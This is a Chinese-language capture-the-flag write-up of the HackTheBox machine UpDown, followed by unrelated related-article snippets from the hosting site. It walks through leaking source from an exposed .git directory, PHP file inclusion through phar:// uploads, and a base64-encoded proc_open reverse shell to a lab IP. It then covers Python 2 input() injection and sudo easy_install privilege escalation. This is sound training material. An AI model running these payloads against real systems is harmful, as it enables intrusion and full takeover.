HackTheBox - Medium - Linux - UpDown

UpDown

UpDown 是一台中等难度的 Linux 机器,暴露了 SSH 和 Apache 服务器。在Apache服务器上,有一个Web应用程序,允许用户检查网页是否已启动。服务器上标识了一个名为“.git”的目录,可以下载以显示目标上运行的“dev”子域的源代码,该子域只能通过特殊的“HTTP”标头访问。此外,子域允许上传文件,导致使用“phar://”PHP 包装器远程执行代码。Pivot 包括将代码注入“SUID”“Python”脚本,并以“开发人员”用户身份获取 shell,该用户无需密码即可使用“Sudo”运行“easy_install”。这可以通过创建恶意 python 脚本并在其上运行“easy_install”来利用,因为提升的权限不会被丢弃,从而允许我们以“root”身份保持访问权限。


外部信息收集

端口扫描

循例nmap

file

Web枚举

80

file

看到这个,我下意识的去扫了一下vhost,我觉得可能会打SSRF

file

经典403

file

在主站,开了debug之后会返回响应

file

并且输入还有过滤

file

对主站目录扫描发现了/dev

file

对/dev再扫能发现.git

file

直接跑githacker

file

这是dev子域的源码

file

.htaccess,只允许设置了Special-Dev请求头的访问

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

设置请求头后访问dev子域

file

在burp中设置请求头

file

浏览器访问dev子域

file

Foothold

回去看源码,先看index.php

<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?phpdefine("DIRECTACCESS",false);$page=$_GET['page'];if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){include($_GET['page'] . ".php");}else{include("checker.php");}	
?>

这我咋一看,可以尝试之前的iconv包装器

file

打成功了,只是有disable functions,连mail和error_log也禁了,thm祖传打法打不了

file

把phpinfo保存到文件

┌──(ming👻m1n9k1n9-parrot)-[~/linux-tools_and_exp/dfunc-bypasser]
└─$ python3 ./dfunc-bypasser.py --file ../../pi.html           1...
...
Please add the following functions in your disable_functions option: 
proc_open
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket

proc_open可用

iconv生成的code太长了,会414

在上传文件的时候,上传zip它会报错,导致最终没有删除掉文件,再利用index.php的文件包含,phar伪协议来利用它

cmd.php

<?php proc_open(base64_decode('L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE4Lzg4ODggMD4mMSIK'),array(),$something);?>

file

上传之后通过phar访问

?page=phar://uploads/95f5ffb7f5709c9a5c9eae5faf0795d5/shell.txt/shell

file

本地横向移动

在developer家目录发现www-data组可读的dev/

file

file

.py

file

这是python2的代码,在老python2中,input并不像python3一样会将任何输入转换为str,所以也就导致了它可以code注入

加上已经打包好的二进制文件是具有developer的suid的,所以直接bash

file

本地权限提升

sudo -l

file

strings发现是个python

file

垃圾桶

file

无脑提权

file

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/613570.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

三、C++运算符(2)算数运算符

一、递增递减 #define _CRT_SECURE_NO_WARNINGS #include<iostream> #include<string> using namespace std; int main() {//1、前置递增int a 10;a; //让变量1cout << "a" << a << endl;//2、后置递增int b 10;b;cout << &q…

在 Centos 7.9 下搭建 Nginx Web 服务器的步骤

Nginx是一款高性能的Web服务器&#xff0c;以下是在Linux环境中安装和配置Nginx的详细步骤。 1. 安装必要的软件包 首先&#xff0c;安装gcc-c、pcre、pcre-devel、zlib、zlib-devel、openssl以及openssl-devel等必要的软件包。 yum install -y gcc-c yum install -y pcre y…

Neo4j备份

这里主要讲Neo4j在windows环境下如何备份&#xff0c;Linux环境同理 Neo4j恢复看这里:Neo4j恢复-CSDN博客 Step1:停服 关闭neo4j.bat console会话窗口即可 Step2: 备份 找到数据目录&#xff0c;并备份、压缩 copy即可 data - 20240108.7z Step3: 启动服务 进入命令行&am…

Hive数据库:嵌入、本地、远程全攻略(下)

先介绍一下本地模式和远程模式&#xff1a; 当使用本地模式时&#xff0c;Hive将其元数据存储在本地数据库&#xff08;例如MySQL&#xff09;中&#xff0c;使其成为一个独立的数据处理系统。在本地模式中&#xff0c;Hive的配置文件&#xff08;hive-site.xml&#xff09;中…

浏览器缓存引发的odoo前端报错

前两天&#xff0c;跑了一个odoo16项目&#xff0c;莫名其妙的前端报错&#xff0c; moment.js 报的错&#xff0c; 这是一个时间库&#xff0c;不是我自己写的代码&#xff0c;我也没做过任何修改&#xff0c;搞不清楚为什么报错。以为是odoo的bug&#xff0c;所以从gitee下载…

DevEco Studio for Mac:zsh: command not found: ohpm

一、检查是否配置有ohpm环境 1、新打开一个终端输入export&#xff0c;查看是否有 ohpm路径&#xff1a; 二、如果没有找到ohpm路径&#xff0c;开始配置环境 。 1、查找本机ohpm路径&#xff0c;并记录ohpm解释器的路径&#xff1a; 2、打开终端工具&#xff0c;执行命令 ech…

[力扣 Hot100]Day3 最长连续序列

题目描述 给定一个未排序的整数数组 nums &#xff0c;找出数字连续的最长序列&#xff08;不要求序列元素在原数组中连续&#xff09;的长度。 请你设计并实现时间复杂度为 O(n) 的算法解决此问题。 出处 思路 此题可用带排序的哈希表&#xff0c;先构建哈希表&#xff0…

现代操作系统复习笔记【核心考点知识+重点复习题】

文章目录 一、核心考点基础知识第一章 概述1、操作系统的基本概念、基本功能2、分时系统、批处理系统、实时系统的主要特征3、用户接口、系统调用过程4、单到与多道程序技术5、操作系统虚拟机体系结构6、CPU工作模式&#xff1b;7、部分课后习题 第二章 进程与线程1、进程的基本…

谷粒学院项目redirect_uri 参数错误微信二维码登录

谷粒学院项目redirect_uri 参数错误_redirect_uri": "http%3a%2f%2fguli.shop%2fapi%2fuce-CSDN博客 修改本地配置 # &#xfffd;&#xfffd;&#xfffd;&#xfffd;˿&#xfffd; server.port8160 # &#xfffd;&#xfffd;&#xfffd;&#xfffd;&#x…

内存分区模型---C++

目录 内存分区模型1.1 程序运行前1.2 程序运行后1.2.1 new操作符 内存分区模型 C程序在执行时&#xff0c;将内存大方向划分为4个区域 代码区&#xff1a;存放函数体的二进制代码&#xff0c;由操作系统进行管理的&#xff1b;全局区&#xff1a;存放全局变量和静态变量以及常…

内存溢出会导致模块测试正常,植入系统失败

前些天&#xff0c;遇到了一个问题&#xff1a;需要在系统中添加一个小功能&#xff0c;单独测试&#xff0c;然后植入系统。 代码使用了从网上下载的函数&#xff0c;模块单独运行&#xff0c;没有问题&#xff0c;但是放在系统中运行就会出问题。 不得已的情况下&#xff0c…

STL标准库与泛型编程(侯捷)笔记5

STL标准库与泛型编程&#xff08;侯捷&#xff09; 本文是学习笔记&#xff0c;仅供个人学习使用。如有侵权&#xff0c;请联系删除。 参考链接 Youbute: 侯捷-STL标准库与泛型编程 B站: 侯捷 - STL Github:STL源码剖析中源码 https://github.com/SilverMaple/STLSourceCo…

花为缘积萨伯爵奢侈品牌顺应趋势创新发展,重新定义行业新风向

随着中国高线市场进入第四消费时代&#xff0c;“可以买贵的&#xff0c;不能买贵了”成为消费者购物的指导方针。麦肯锡在《2023年麦肯锡中国消费者报告》中表示&#xff0c;当前消费者保守审慎的态度是追求性价比&#xff0c;试图掌握消费自主权&#xff0c;从而选择更明智的…

Jenkins-Pipeline语法总结大全

这里写目录标题 pipeline的组成1、pipeline最简单结构1.1、pipeline1.2、stages1.3、stage1.4、steps1.5、agent 2、post3、pipeline支持的命令3.1、environment3.2、tools3.3、input3.4、options3.5、parameters3.6、parallel3.7、triggers3.8、when pipeline的组成 1、pipel…

org.springframework.web.servlet.HandlerInterceptor

过期 1 配置黑名单 2 启动注册拦截 3 浏览器访问拦截

【EasyExcel】导出excel冻结表头和冻结指定列并支持筛选器

需求背景&#xff1a; 导出excel的同时冻结表头和前两列基础信息&#xff0c;方便导出后用户查看信息。 一、技术选型&#xff1a; easyExcel的自定义写策略处理&#xff1a;SheetWriteHandler 二、方案设计&#xff1a;&#xff08;基于实现 SheetWriteHandler 接口&#xf…

【2023回顾】2024,放马过来吧

&#x1f440;樊梓慕&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》 &#x1f31d;每一个不曾起舞的日子&#xff0c;都是对生命的辜负 &#x1f438;哈哈虽然不是技术文&#x…

CAN201 计网概念收集

Lecture 1 the theoretical basis for networking Network edge and core 地理覆盖范围&#xff1a;广WAN&#xff0c;城MAN&#xff0c;局LAN&#xff0c;个PAN 交换方式&#xff0c;电路&#xff0c;报文&#xff0c;分组 电路交换vs报文vs分组 Network performance pr…

Redis面试题8

在 Redis 中实现发布/订阅功能很简单&#xff0c;可以通过以下步骤来实现&#xff1a; 使用 PUBLISH 命令向指定的频道发送消息&#xff1b; 使用 SUBSCRIBE 命令订阅指定的频道&#xff0c;从而接收到该频道上的消息&#xff1b; 可以使用 PSUBSCRIBE 命令进行模式订阅&#x…

springboot程序启动慢解决

记springboot程序启动慢解决。 今天将程序发给别人后&#xff0c;别人立马说你这个启动很慢。 查看程序启动耗时分布 <!--启动耗时监测--> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-actuator…